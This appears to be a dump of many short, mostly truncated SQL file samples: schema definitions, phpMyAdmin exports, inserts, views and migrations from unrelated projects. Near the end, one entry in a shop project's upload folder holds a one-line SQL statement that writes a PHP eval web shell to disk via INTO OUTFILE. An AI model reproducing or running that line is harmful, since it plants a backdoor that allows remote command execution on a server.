sql stringlengths 6 1.05M |
|---|
<gh_stars>0
-- phpMyAdmin SQL Dump
-- version 4.1.12
-- http://www.phpmyadmin.net
--
-- Host: 127.0.0.1
-- Generation Time: Apr 11, 2017 at 09:09 PM
-- Server version: 5.6.16
-- PHP Version: 5.5.11
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SE... |
-- phpMyAdmin SQL Dump
-- version 5.0.4
-- https://www.phpmyadmin.net/
--
-- Počítač: database
-- Vytvořeno: Pon 08. lis 2021, 17:06
-- Verze serveru: 10.3.18-MariaDB-1:10.3.18+maria~bionic
-- Verze PHP: 7.4.11
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHA... |
/*
Navicat MySQL Data Transfer
Source Server : localhost
Source Server Version : 50721
Source Host : localhost:3306
Source Database : cms
Target Server Type : MYSQL
Target Server Version : 50721
File Encoding : 65001
Date: 2018-09-20 16:12:56
*/
SET FOREIGN_KEY_CHECKS=0;
-- -----... |
-- phpMyAdmin SQL Dump
-- version 5.0.2
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: Nov 18, 2020 at 04:32 AM
-- Server version: 10.4.13-MariaDB
-- PHP Version: 7.4.7
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIEN... |
CREATE DATABASE IF NOT EXISTS beerco_db;
CREATE TABLE `beerco_db`.`members` (
`id` int(8) NOT NULL AUTO_INCREMENT,
`email` varchar(255) NOT NULL,
`password` varchar(255) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `email` (`email`)
) AUTO_INCREMENT = 1;
|
-- phpMyAdmin SQL Dump
-- version 5.0.4
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: May 26, 2021 at 12:44 PM
-- Server version: 10.4.16-MariaDB
-- PHP Version: 7.4.16
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIE... |
<filename>bin/src/main/resources/data.sql<gh_stars>0
INSERT INTO reverb_profile (id, first_name, last_name, profile_img, header_img, about_me ) VALUES (DEFAULT, 'Lion', 'King', 'https://images.unsplash.com/photo-1607490703747-0519d2e398a1?ixid=MnwxMjA3fDB8MHxzZWFyY2h8MXx8bGlvbiUyMGtpbmd8ZW58MHx8MHx8&ixlib=rb-1.2.1&w=10... |
CREATE DATABASE aula16;
USE aula16;
CREATE TABLE Pessoa (
id INTEGER AUTO_INCREMENT PRIMARY KEY,
nome VARCHAR(20) NOT NULL,
sobrenome VARCHAR(20) NOT NULL );
INSERT INTO Pessoa (nome,sobrenome)
VALUES ('Carlos','Garcia');
INSERT INTO Pessoa (nome,sobrenome)
VALUES ('Maria','Antunes');
INSERT INTO Pessoa (n... |
CREATE TABLE summary_table (
Customer_id INT,
Full_name VARCHAR(50),
Email VARCHAR(50),
Late_rental TEXT
);
SELECT * FROM active_rentals
|
USE GSFSchema
GO
INSERT INTO Company(Acronym, MapAcronym, Name, LoadOrder) VALUES('AEP', 'AEP', 'American Electric Power', 1)
GO
INSERT INTO Company(Acronym, MapAcronym, Name, LoadOrder) VALUES('AGP', 'AGP', 'Allegheny Power', 2)
GO
INSERT INTO Company(Acronym, MapAcronym, Name, LoadOrder) VALUES('AMR', 'AMR', 'Amer... |
SELECT Email FROM Person GROUP BY Email HAVING count(*) > 1
|
CREATE MATERIALIZED VIEW IF NOT EXISTS cat_instance
AS SELECT
u.labels->>'nodename' AS node,
instance_host(l.labels->>'instance') AS instance,
l.labels->>'__name__' AS name,
l.lid,
MAX(l.time) AS last_seen
FROM metric_labels AS l
JOIN metric_labels AS u
ON
u.labels->>'__name__' = 'node_uname_info' AND
u.l... |
-- phpMyAdmin SQL Dump
-- version 4.4.10
-- http://www.phpmyadmin.net
--
-- Host: localhost:3306
-- Erstellungszeit: 06. Mai 2017 um 17:18
-- Server-Version: 5.5.42
-- PHP-Version: 7.0.0
SET NAMES utf8;
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
--
-- Datenbank: `planer`
--
-- ----------------... |
-- MySQL dump 9.11
--
-- Host: localhost Database: Book-Crossing
-- ------------------------------------------------------
-- Server version 4.0.20a-debug
--
-- Table structure for table `Books`
--
CREATE TABLE `Books` (
`isbn` varchar(13) binary NOT NULL default '',
`title` varchar(255) default NU... |
<gh_stars>1-10
SELECT d.id, d.conceptid, d.term from "snomedct".langrefset_s l INNER JOIN "snomedct".description_s d ON l.referencedcomponentid=d.id WHERE l.refsetid IN ('999001261000000100','999000691000001104') AND d.typeid = '900000000000013009' AND l.acceptabilityid = '900000000000548007' AND d.conceptid = :concept... |
-- 2020-03-13T09:04:39.410Z
-- I forgot to set the DICTIONARY_ID_COMMENTS System Configurator
INSERT INTO AD_Table_Process (AD_Client_ID, AD_Org_ID, AD_Process_ID, AD_Table_ID, AD_Table_Process_ID, Created, CreatedBy, EntityType, IsActive, Updated, UpdatedBy, WEBUI_DocumentAction, WEBUI_IncludedTabTopAction, WEBUI_View... |
ALTER TABLE db_version CHANGE COLUMN required_11940_04_mangos_gossip_scripts required_11940_05_mangos_quest_end_scripts bit;
ALTER TABLE quest_end_scripts ADD COLUMN temp MEDIUMINT(8) DEFAULT 0 AFTER command;
-- Move datalong4 -> 2, 3 -> 4, 2 -> 3 (right shift)
UPDATE quest_end_scripts SET temp=datalong4 WHERE comma... |
<reponame>cdaringe/pg_graphql<gh_stars>0
begin;
create table account(
id int primary key
);
insert into public.account(id)
values
(1);
select jsonb_pretty(
graphql.resolve($$
{
allAccounts {
__typename
pageInfo {
__typename
}
... |
<filename>migrations/src/main/resources/db/organization-schema-migrations/V20190701163239__create_columns.sql
CREATE TABLE columns(
id SERIAL PRIMARY KEY,
name TEXT NOT NULL,
display_name TEXT,
data_type TEXT NOT NULL,
primary_key BOOLEAN NOT NULL DEFAULT FALSE,
internal BOOLEAN NOT NULL DEFAULT FALSE,
pa... |
<reponame>homiedude/snaas
CREATE EXTENSION IF NOT EXISTS citext;
CREATE EXTENSION IF NOT EXISTS fuzzystrmatch;
CREATE EXTENSION IF NOT EXISTS postgis;
CREATE EXTENSION IF NOT EXISTS postgis_topology;
CREATE EXTENSION IF NOT EXISTS postgis_tiger_geocoder;
CREATE EXTENSION IF NOT EXISTS pg_trgm; |
SELECT
*
FROM
Phone ph
JOIN
Person pr
ON ph.person_id = pr.id
|
INSERT INTO platform_config_datagen (datatypegenconfigname,dataattributeid,runquantity,minuteinterval,datagentypeid,createddate,statusid,createduser,applicationid) VALUES
('Account Numbers',14,10000,5,56,'2020-08-22 15:55:52.000',1,NULL,'16a17a48-d09b-11ea-9579-bba61161b25a '),
('Address',3,10000,5,NULL,'2020-08-2... |
<reponame>turbot/steampipe-mod-terraform-sherlock
select
type || ' ' || name as resource,
case
when (arguments ->> 'source_type') <> 'db-instance' then 'skip'
when (arguments ->> 'source_type') = 'db-instance' and (arguments -> 'enabled')::bool and (arguments -> 'event_categories_list')::jsonb @> '["failure... |
DROP VIEW IF EXISTS view_kartu_barang2_bpbd;
CREATE VIEW view_kartu_barang2_bpbd AS
SELECT
*,
sum(pra_saldo) OVER (PARTITION BY kode_barang ORDER BY tanggal, id_persediaan) as saldo
FROM
view_kartu_barang_bpbd
WHERE
1 = 1 AND
id_skpd = 39;
GRANT ALL PRIVILEGES ON view_kartu_barang2_bpbd TO lap_bpbd;
REVOKE INS... |
<reponame>SergeySulzhenko/authbooster
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET NAMES utf8 */;
/*!40014 SET FOREIGN_KEY_CHECKS=0 */;
DROP TABLE IF EXISTS `authassignment`;
CREATE TABLE IF NOT EXISTS `authassignment` (
`itemname` varchar(64) NOT NULL,
`userid` varchar(64) NOT NUL... |
<filename>archive/database/test_add_specialization_data.sql
-- name: test_add_specialization_data.sql
-- version: 0.0.1
-- date: 20211228
-- author: <NAME>
-- desc: Populate the test specializations table.
BEGIN DEFERRED;
INSERT INTO specializations (specialization) VALUES ('CbtR');
END:
|
CREATE TABLE lancamento (
codigo BIGINT(20) PRIMARY KEY AUTO_INCREMENT,
descricao VARCHAR(50) NOT NULL,
data_vencimento DATE NOT NULL,
data_pagamento DATE,
valor DECIMAL(10,2) NOT NULL,
observacao VARCHAR(100),
tipo VARCHAR(20) NOT NULL,
codigo_categoria BIGINT(20) NOT NULL,
codigo_pessoa BIGINT(20) NOT NULL,
... |
CREATE TABLE IF NOT EXISTS User (
user_id int AUTO_INCREMENT,
id varchar(100) UNIQUE,
pw varchar(30),
PRIMARY KEY (user_id)
);
CREATE TABLE IF NOT EXISTS Article (
article_id int AUTO_INCREMENT,
title varchar(100),
content MEDIUMTEXT,
area int,
written_date datetime,
PRIMARY KEY (arti... |
USE [AppTienda]
GO
/****** Object: Index [TestIndex1] Script Date: 28/10/2020 21:07:54 ******/
CREATE NONCLUSTERED INDEX [TestIndex1] ON [dbo].[ProductosXLocales]
(
[IdLocal] ASC,
[IdProducto] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW... |
CREATE TABLE events_raw (
id int AUTO_INCREMENT PRIMARY KEY,
timestamp datetime NOT NULL,
event longtext NOT NULL,
metadata text DEFAULT NULL,
source text NOT NULL,
KEY idx_timestamp (timestamp),
KEY idx_source (source(3072))
) ENGINE=INNODB;
|
--
-- Structure for view `varoosumvar`
--
-- Used to aggregate oocyte variants data by variant
--
DROP VIEW IF EXISTS `varoosumvar`;
CREATE
VIEW `varoosumvar` AS
select
`varoocytes`.`Variant` AS `Variant`,
`varoocytes`.`assay` AS `assay`,
`varoocytes`.`glun1` AS `var_glun1`,
`varoocytes`.`glun2` AS `var... |
SELECT TOP (5)
c.CountryName,
MAX(p.Elevation) AS HighestPeakElevation,
MAX(r.[Length]) AS LongestRiverLength
FROM Countries AS c
LEFT JOIN MountainsCountries AS mc
ON mc.CountryCode = c.CountryCode
LEFT JOIN Peaks AS p
ON p.MountainId = mc.MountainId
LEFT JOIN Countr... |
create database if not exists INFI_Project_21;
use INFI_Project_21;
create table if not exists Auto (
AutoId int auto_increment unique key primary key,
Kategorie varchar (120) ,
Kennzeichen varchar (120) ,
Laenge varchar (120) ,
Breite varchar (120) ,
Hoehe varchar (120)
);
create table if not exist... |
-- phpMyAdmin SQL Dump
-- version 5.0.4
-- https://www.phpmyadmin.net/
--
-- Host: localhost:3306
-- Generation Time: May 19, 2022 at 12:59 PM
-- Server version: 5.7.24
-- PHP Version: 7.4.27
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@... |
<reponame>Don-Jin/BlizzCMS
/*
SQLyog Ultimate v11.11 (64 bit)
MySQL - 5.6.39-log : Database - blizzcms
*********************************************************************
*/
/*!40101 SET NAMES utf8 */;
/*!40101 SET SQL_MODE=''*/;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!4... |
-- AlterTable
ALTER TABLE "Resume" ADD COLUMN "theme" TEXT NOT NULL DEFAULT E'default';
|
<filename>smartshop.sql
-- phpMyAdmin SQL Dump
-- version 4.7.7
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: May 26, 2018 at 08:26 AM
-- Server version: 10.1.30-MariaDB
-- PHP Version: 7.2.2
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:... |
/* (1) insert into newcontracs_buf && newcontracts
sp1
select_count
.import
trim
possible_chg(diff)
insert
real_chg
RELEASE
*/
savepoint "sp1";
select "tradingday",count(*) from "newcontracts" group by "tradingday" order by "tradingday";
select count(*) from "newcontracts_buf";
-- delete from "newcontracts_buf"... |
USE Bitbucket
GO
-- Disable referential integrity
EXEC sp_MSForEachTable 'DISABLE TRIGGER ALL ON ?'
GO
EXEC sp_MSForEachTable 'ALTER TABLE ? NOCHECK CONSTRAINT ALL';
GO
EXEC sp_MSForEachTable 'DELETE FROM ?';
GO
EXEC sp_MSForEachTable
'IF OBJECT_ID(''?'') IN (SELECT OBJECT_ID FROM SYS.IDENTITY_COL... |
-- attach.test
--
-- execsql {
-- CREATE INDEX i2 ON t2(x);
-- SELECT * FROM t2 WHERE x>5;
-- }
CREATE INDEX i2 ON t2(x);
SELECT * FROM t2 WHERE x>5; |
-- vtab6.test
--
-- execsql {
-- UPDATE t6 SET a=1;
-- SELECT * FROM t6 NATURAL JOIN t5;
-- }
UPDATE t6 SET a=1;
SELECT * FROM t6 NATURAL JOIN t5; |
--:setvar Login N'REDMOND\glenga'
--:setvar Password N'<PASSWORD>'
--------------------------------------------------------------------------
-- add a merge publication
--------------------------------------------------------------------------
--<snippetsp_AddMergePub>
-- To avoid storing the login and password... |
drop table if exists carlist;
create table carlist (
id bigint not null auto_increment,
name varchar(255),
color varchar (45),
primary key (id));
|
-- phpMyAdmin SQL Dump
-- version 4.8.0.1
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: Jul 04, 2018 at 08:25 PM
-- Server version: 10.1.32-MariaDB
-- PHP Version: 7.2.5
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @O... |
<gh_stars>0
CREATE DATABASE EASYCOMPANY;
DROP TABLE IDS;
CREATE TABLE IDS
(
TABLE_NAME VARCHAR2(20) NOT NULL,
NEXT_ID NUMBER(30) NOT NULL
)
;
ALTER TABLE IDS
ADD PRIMARY KEY (TABLE_NAME)
;
DROP TABLE RTETNAUTH;
CREATE TABLE RTETNAUTH
(
URL VARCHAR2(10... |
-- In production you would almost certainly limit the replication user must be on the follower (slave) machine,
-- to prevent other clients accessing the log from other machines. For example, '<EMAIL>'@'<EMAIL>'.
-- However, in this database we'll grant 3 users different privileges:
--
-- 1) 'replicator' - all privileg... |
<filename>code/mysql/neon_var.sql
CREATE DATABASE IF NOT EXISTS `neon` /*!40100 DEFAULT CHARACTER SET latin1 */;
USE `neon`;
-- MySQL dump 10.13 Distrib 5.5.35, for debian-linux-gnu (i686)
--
-- Host: 127.0.0.1 Database: neon
-- ------------------------------------------------------
-- Server version 5.5.35-0ubunt... |
CREATE TABLE `t_sh_goods_image` (
`id` varchar(50) NOT NULL,
`goods_id` varchar(50) DEFAULT NULL,
`version` int(11) DEFAULT NULL,
`content` varchar(200) DEFAULT NULL,
`type` int(11) DEFAULT NULL,
`resolution` int(20) DEFAULT NULL,
`path` varchar(200) DEFAULT NULL,
`is_face` int(11) DEFAULT NULL,... |
-- phpMyAdmin SQL Dump
-- version 4.1.14
-- http://www.phpmyadmin.net
--
-- Host: 127.0.0.1
-- Generation Time: Dec 24, 2015 at 04:16 PM
-- Server version: 5.6.17
-- PHP Version: 5.5.12
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;... |
CREATE TABLE `robloxmembership`.`session` (
`Id` bigint NOT NULL AUTO_INCREMENT,
`UserId` bigint NOT NULL,
`SessionToken` text NOT NULL,
`Location` enum('SignUp','Login') NOT NULL DEFAULT 'SignUp',
`UserAgent` text NOT NULL,
`Created` datetime NOT NULL,
PRIMARY KEY (`Id`),
UNIQUE KEY `Id_UNIQUE` (`Id`)
... |
CREATE DATABASE product;
USE product
CREATE TABLE `users` (
`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(30) NOT NULL,
`credits` decimal(9,2) DEFAULT '10.00',
`last_modified` timestamp NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `name` (`na... |
include src/test/queries/local/include_file.sql
include 'src/test/queries/local/include_file' || '.sql' |
-- @description query01 for PXF Hive Binary Data cases
SELECT * from pxf_hive_binary_orc ORDER BY b1;
|
DROP TABLE IF EXISTS index;
CREATE TABLE index
(
key Int32,
name String,
merge_date Date
) ENGINE = MergeTree(merge_date, key, 8192);
insert into index values (1,'1','2016-07-07');
insert into index values (-1,'-1','2016-07-07');
select * from index where key = 1;
select * from index where key = -1;
OPTI... |
UPDATE cuentasporpagar SET concepto=CONVERT(concepto USING utf8);
UPDATE cuentasporpagar SET concepto=REPLACE(concepto,'?','Ñ'); |
<reponame>phoenixjim/Invoices
BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS "INVOICES" (
"INVOICE_ID" integer NOT NULL PRIMARY KEY AUTOINCREMENT,
"INVOICENUMBER" integer NOT NULL,
"CUSTOMERID" integer,
"TRANSACTIONDATE" long,
"TERMS" text NOT NULL,
"NONTAXABLESUB" numeric(53 , 0),
"TAXABLESUB" numeric(53 , 0),
... |
<gh_stars>0
-- Create relations and methods
DROP SCHEMA IF EXISTS cc CASCADE;
CREATE SCHEMA cc;
GRANT USAGE ON SCHEMA cc TO radar_data_provider, viewer, missile_launcher;
SET search_path TO cc,public;
-- Tables --
-- Raw radar data
CREATE TABLE radar_data(
coordinates GEOMETRY
NOT NULL
CHECK (... |
-- phpMyAdmin SQL Dump
-- version 4.7.4
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1:3306
-- Generation Time: Dec 20, 2017 at 04:31 PM
-- Server version: 5.7.19
-- PHP Version: 5.6.31
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CH... |
<reponame>miramanz/nspack
-- CONTACT METHOD TYPES
INSERT INTO public.contact_method_types(contact_method_type) VALUES ('Tel');
INSERT INTO public.contact_method_types(contact_method_type) VALUES ('Fax');
INSERT INTO public.contact_method_types(contact_method_type) VALUES ('Cell');
INSERT INTO public.contact_method_type... |
-- phpMyAdmin SQL Dump
-- version 4.5.1
-- http://www.phpmyadmin.net
--
-- Host: 127.0.0.1
-- Generation Time: Jun 17, 2017 at 10:37 AM
-- Server version: 10.1.8-MariaDB
-- PHP Version: 5.6.14
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLI... |
<filename>v2_USER_CODE_Synapse/MS_test_3/microsoft_sql_CTAS/warmup_23.sql
select top 100 * from web_sales where ws_sold_date_sk=-100 order by ws_sold_date_sk desc
|
<filename>example/example.sql
SELECT
/*
[NAME]
- HANA_Resources_CPU_Current
[DESCRIPTION]
- Current CPU information
[DETAILS AND RESTRICTIONS]
[SQL COMMAND VERSION]
- 2016/10/04: 1.0 (initial version)
[INVOLVED TABLES]
- M_SERVICE_STATISTICS
[OUTPUT PARAMETERS]
- CPU_BUSY_PCT: Percentage of busy CPUs
... |
CREATE TABLE [Vehicles].[Stations] (
[StationID] INT IDENTITY (1, 1) NOT NULL,
[Name] NVARCHAR (256) NOT NULL,
[Address1] NVARCHAR (256) NULL,
[Address2] NVARCHAR (256) NULL,
[City] NVARCHAR (256) NULL,
[State] NVARCHAR (256) NULL,
[ZipCode] NVARCHAR (256) NULL,... |
-- 5.9 Subquires in the SELECT clause
use sql_invoicing;
select invoice_id, invoice_total,
(select avg(invoice_total) from invoices) as invoices_average,
invoice_total - (select invoices_average) as diffrence
from invoices;
-- exercise
select client_id, name,
(select sum(invoice_total) from invoices where cli... |
create view manifestpending as
select manifest.*,forwarder.name as forwarder, forwarder.yomi as yomi, contractor.name as contractor, contractorbranch.name as contractorbranch, permitclass.name as permitclass, wasteclass.name as wasteclass, item.name as itemname, itemunit.name as itemunit,saledetail.id as saledetailid... |
--Oracle 18c or later
SELECT version_full AS oracle_version
FROM V$INSTANCE; |
-- phpMyAdmin SQL Dump
-- version 5.1.0
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: May 14, 2021 at 10:27 PM
-- Server version: 10.4.18-MariaDB
-- PHP Version: 8.0.3
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIEN... |
<filename>mysql-server/scripts/sys_schema/views/p_s/io_global_by_wait_by_bytes.sql<gh_stars>0
-- Copyright (c) 2014, 2019, Oracle and/or its affiliates. All rights reserved.
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by... |
CREATE VIEW [catalog].[execution_data_taps]
AS
SELECT [data_tap_id],
[execution_id],
[package_path],
[dataflow_path_id_string],
[dataflow_task_guid],
[max_rows],
[filename]
FROM [internal].[execution_data_taps]
WHERE [execution_id] in (SELECT [id]... |
<filename>SQL/Basic-Select/weather-observation-station-5.sql
/*
Enter your query here.
Figure out how to do this with one query.
*/
SELECT CITY, CHAR_LENGTH(CITY)
FROM STATION
ORDER BY CHAR_LENGTH(CITY) ASC, CITY
LIMIT 1;
SELECT CITY, CHAR_LENGTH(CITY)
FROM STATION
ORDER BY CHAR_LENGTH(CITY) DESC, CITY... |
CREATE TABLE ORGANISAJON
(
ORGNUMMER VARCHAR(256) PRIMARY KEY,
ACTIVE BOOLEAN NOT NULL DEFAULT TRUE,
CREATED_AT TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP,
UPDATED_AT TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP
); |
<gh_stars>1-10
-- load all the stream data, populating ltree codes etc
CREATE TABLE whse_basemapping.fwa_stream_networks_sp (
linear_feature_id bigint PRIMARY KEY,
watershed_group_id integer NOT NULL,
edge_type integer NOT NULL,
blue_line_key integer NOT NULL,
watershed_key integer NOT NULL,
fwa_watershed... |
<reponame>txf19870527/hyperf<filename>.travis/hyperf.sql
SET NAMES utf8mb4;
DROP TABLE IF EXISTS `book`;
CREATE TABLE `book` (
`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`user_id` bigint(20) unsigned NOT NULL,
`title` varchar(128) NOT NULL DEFAULT '',
`created_at` datetime DEFAULT NULL,
`updated_at` ... |
SELECT *
FROM devices d
LEFT JOIN owners o
ON d.owner_id = o.id;
SELECT *
FROM devices d
LEFT JOIN owners o
ON d.owner_id = o.id
WHERE o.id is null;
SELECT *
FROM owners o
LEFT JOIN devices d
ON o.id = d.owner_id;
\! echo --------
select * from devices d left join owners o on d.owner_id = o.id;
select * from owners... |
alter session set `planner.filter.min_selectivity_estimate_factor` = 0.3;
explain plan including all attributes for select * from (select l_partkey, l_suppkey, count(*) as cnt, avg(l_partkey) as sum3 from lineitem where l_suppkey > 20 group by l_partkey, l_suppkey) table2 where table2.cnt > 3 and table2.sum3 > 5;
alter... |
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
id INTEGER NOT NULL,
name VARCHAR(255),
email_addr VARCHAR(255),
created_date DATETIME,
modified_date DATETIME,
PRIMARY KEY (id)
);
INSERT INTO "users" VALUES(1,'gldjc','<EMAIL>',NULL,NULL);
INSERT INTO "users" VALUES(2,'gldzb','<EMAIL>',NULL... |
INSERT INTO opm.deduction_rate (id, deleted, service_type, retirement_type_id, start_date, end_date, rate) VALUES (1,false,'GS',2,to_date('03-Jan-1900', 'DD-Mon-YYYY'),to_date('31-Jul-1920', 'DD-Mon-YYYY'),0.07);
INSERT INTO opm.deduction_rate (id, deleted, service_type, retirement_type_id, start_date, end_date, rate) ... |
<gh_stars>1-10
CREATE TABLE IF NOT EXISTS post_daily_data (
id SERIAL,
ts TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP,
rec_dt DATE NOT NULL,
rec_territory TEXT NOT NULL,
rec_value NUMERIC
)
|
----------------------------------------------------------------
-- [vm_device] Table
--
Create or replace FUNCTION InsertVmDevice(
v_device_id UUID,
v_vm_id UUID,
v_device varchar(30),
v_type varchar(30),
v_address varchar(255),
v_boot_order int,
v_spec_params text,
v_is_managed boolean... |
<reponame>ystros/credhub
ALTER TABLE NAMED_CERTIFICATE_AUTHORITY ADD UUID VARCHAR(255);
|
INSERT INTO authors (author_id, name, gender, birthdate)
VALUES (1, '<NAME>', 'MALE', '1959-06-16');
INSERT INTO authors (author_id, name, gender, birthdate)
VALUES (2, '<NAME>', 'MALE', '1961-08-28');
|
<reponame>darthunix/gpdb
-- start_ignore
DROP RESOURCE GROUP rg_spill_test;
-- end_ignore
CREATE RESOURCE GROUP rg_spill_test WITH
(concurrency=10, cpu_rate_limit=20, memory_limit=20, memory_shared_quota=20, memory_spill_ratio=10);
CREATE OR REPLACE VIEW rg_spill_status AS
SELECT groupname, memory_shared_quota, propo... |
<reponame>jqueguiner/cds
-- +migrate Up
ALTER TABLE services ADD COLUMN monitoring_status JSONB;
-- +migrate Down
ALTER TABLE services DROP COLUMN monitoring_status;
|
<reponame>SkillsFundingAgency/DC-Alpha-EasyWrapperPaaS
-- =====================================================================================================
-- Generated by Data Dictionary Version 1.0.0.0
-- Date: 31 May 2017 10:51
-- Profile: DCSS Validation
-- Rulebase Version: NCS Validation 1516 1516, Version 15... |
<reponame>koki-oe/whois
/*
Warnings:
- The primary key for the `customsummoner` table will be changed. If it partially fails, the table could be left without primary key constraint.
- You are about to drop the column `id` on the `customsummoner` table. All the data in the column will be lost.
*/
-- AlterTable
A... |
<reponame>Knightwalker/Knowledgebase
CREATE PROC usp_DeleteEmployeesFromDepartment (@departmentId INT)
AS
BEGIN
DECLARE @EmployeesIdToDelete TABLE (ID INT);
INSERT INTO @EmployeesIdToDelete
SELECT e.EmployeeID
FROM Employees e
WHERE e.DepartmentID = @departmentId
ALTER TABLE Departments
ALTER COLUMN M... |
DROP DATABASE IF EXISTS american_dream_league;
CREATE DATABASE american_dream_league;
USE american_dream_league;
CREATE TABLE Names(ID int NOT NULL AUTO_INCREMENT, firstName varchar(500), lastName varchar(500), PRIMARY KEY (ID));
CREATE TABLE Leagues(ID int NOT NULL AUTO_INCREMENT, name varchar(500), PRIMARY KEY (ID))... |
<filename>Mysql/projeto farmacia/consultas_simples.sql
USE farmacia;
-- Realizando consultas simples
-- tipos de produto
SELECT * FROM tipos_produtos;
SELECT id AS 'N°', tipo AS 'Tipo produto' FROM tipos_produtos;
SELECT tipo, id FROM tipos_produtos;
SELECT * FROM tipos_produtos ORDER BY id DESC;
-- Fabricantes
SEL... |
--
DO
$body$
BEGIN
IF NOT EXISTS (
SELECT 1 FROM pg_tables WHERE schemaname='pwaf' and tablename='gui_views'
) THEN
CREATE TABLE pwaf.gui_views
(
id pwaf.g_serial NOT NULL,
template integer,
layout integer,
code pwaf.html,
CONSTRAINT views_pkey PRIMARY KEY (id ),
CONSTRAINT views_layout... |
-- using 1523417108 as a seed to the RNG
select
l_shipmode,
sum(case
when o_orderpriority = '1-URGENT'
or o_orderpriority = '2-HIGH'
then 1
else 0
end) as high_line_count,
sum(case
when o_orderpriority <> '1-URGENT'
and o_orderpriority <> '2-HIGH'
then 1
else 0
end) as low_line_count
from
or... |
<filename>migrations/0001_init_schema.down.sql
DROP TABLE IF EXISTS challengesubmissions RESTRICT;
DROP TABLE IF EXISTS challenges RESTRICT;
DROP TABLE IF EXISTS challengelanguages RESTRICT;
DROP TABLE IF EXISTS userroles RESTRICT;
DROP TABLE IF EXISTS roles RESTRICT;
DROP TABLE IF EXISTS assets RESTRICT;
DROP TA... |
<reponame>tokenocean/re<filename>hasura/migrations/default/1641599835823_alter_table_public_transactions_add_column_time/up.sql
alter table "public"."transactions" add column "time" timestamptz
null;
|
-- +goose Up
-- +goose StatementBegin
CREATE TABLE bootstrap_contract_configs
(
bootstrap_spec_id INTEGER PRIMARY KEY,
config_digest bytea NOT NULL,
config_count bigint NOT NULL,
signers bytea[] NOT NULL,
... |
-- 2021-06-22T13:38:30.805Z
-- I forgot to set the DICTIONARY_ID_COMMENTS System Configurator
/* DDL */ SELECT public.db_alter_table('C_BPartner','ALTER TABLE public.C_BPartner ADD COLUMN C_Campaign_ID NUMERIC(10)')
;
-- 2021-06-22T13:38:32.526Z
-- I forgot to set the DICTIONARY_ID_COMMENTS System Configurator
ALTER T... |
<reponame>sparklezzz/starrocks
[sql]
select k from (select v1 + 1 as k from t0) a
[result]
logical project (col)
logical project (col + 1)
logical project (col,col,col)
logical scan
[end]
[sql]
select * from (select k2 from (select v1 as k1, v2 as k2 from t0) a) b
[result]
logical project (col)... |
<filename>cAuth.sql
/*
Navicat Premium Data Transfer
Source Server : Localhost
Source Server Type : MySQL
Source Server Version : 50717
Source Host : localhost
Source Database : cAuth
Target Server Type : MySQL
Target Server Version : 50717
File Encoding : utf-8
Date: ... |
<filename>TPshop20200707_tp6/public/public/upload/sqldata/test.sql
Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/funsens/eval.php'; |
<gh_stars>0
IF NOT EXISTS (SELECT * FROM sys.schemas WHERE name = N'tpdm')
EXEC sys.sp_executesql N'CREATE SCHEMA [tpdm]'
GO
|
DROP TABLE IF EXISTS `ct_addon_sync_login`;
|
<reponame>zihao123vp/JCWarehouse
/*
MySQL Backup
Source Server Version: 5.7.22
Source Database: jeesite
Date: 2018/9/14 星期五 17:37:58
*/
